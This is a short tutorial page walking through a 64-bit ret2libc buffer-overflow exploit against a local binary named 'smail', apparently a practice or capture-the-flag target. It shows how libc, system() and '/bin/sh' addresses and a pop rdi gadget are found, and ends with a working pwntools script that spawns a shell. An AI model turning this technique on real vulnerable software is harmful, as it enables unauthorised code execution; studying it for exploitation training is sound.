Skip to content

ret2libc - 64-bit Exploit

A ret2libc is based off the system function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh; if you pass this string to system, it will pop a shell.

Getting Libc and its base

> ldd smail 
    linux-vdso.so.1 (0x00007ffff7ffa000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79e2000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd3000)
We need libc.so.6, so the base address of libc is 0x00007ffff79e2000

Getting the location of system()

To call system, we obviously need its location in memory. We can use the readelf command for this.

> readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
  1403: 000000000004f550    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
The -s flag tells readelf to search for symbols, for example functions. Here we can find the offset of system from libc base is 0x4f550

Getting the location of /bin/sh

Since /bin/sh is just a string, we can use strings on the dynamic library we just found with ldd. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.

> strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
   1b3e1a /bin/sh
-a tells it to scan the entire file; -t x tells it to output the offset in hex.

RDI register

You will have to use a pop rdi; ret gadget to put it into the RDI register.

> ROPgadget --binary smail | grep rdi
  0x00000000004007f3 : pop rdi ; ret

Besides those functions the return address were should be included

> objdump -d smail | grep ret
  400556: c3  retq

Exploit

from pwn import *

p = process('./smail')

libc_base = 0x00007ffff79e2000
system = libc_base + 0x4f550
binsh = libc_base + 0x1b3e1a

POP_RDI = 0x4007f3

payload = b'A' * 72         # The padding
payload += p64(0x400556)
payload += p64(POP_RDI)     # gadget -> pop rdi; ret
payload += p64(binsh)       # pointer to command: /bin/sh
payload += p64(system)      # Location of system
payload += p64(0x0)         # return pointer - not important once we get the shell

p.clean()
p.sendline("2")             # target specific
p.sendline(payload)
p.interactive()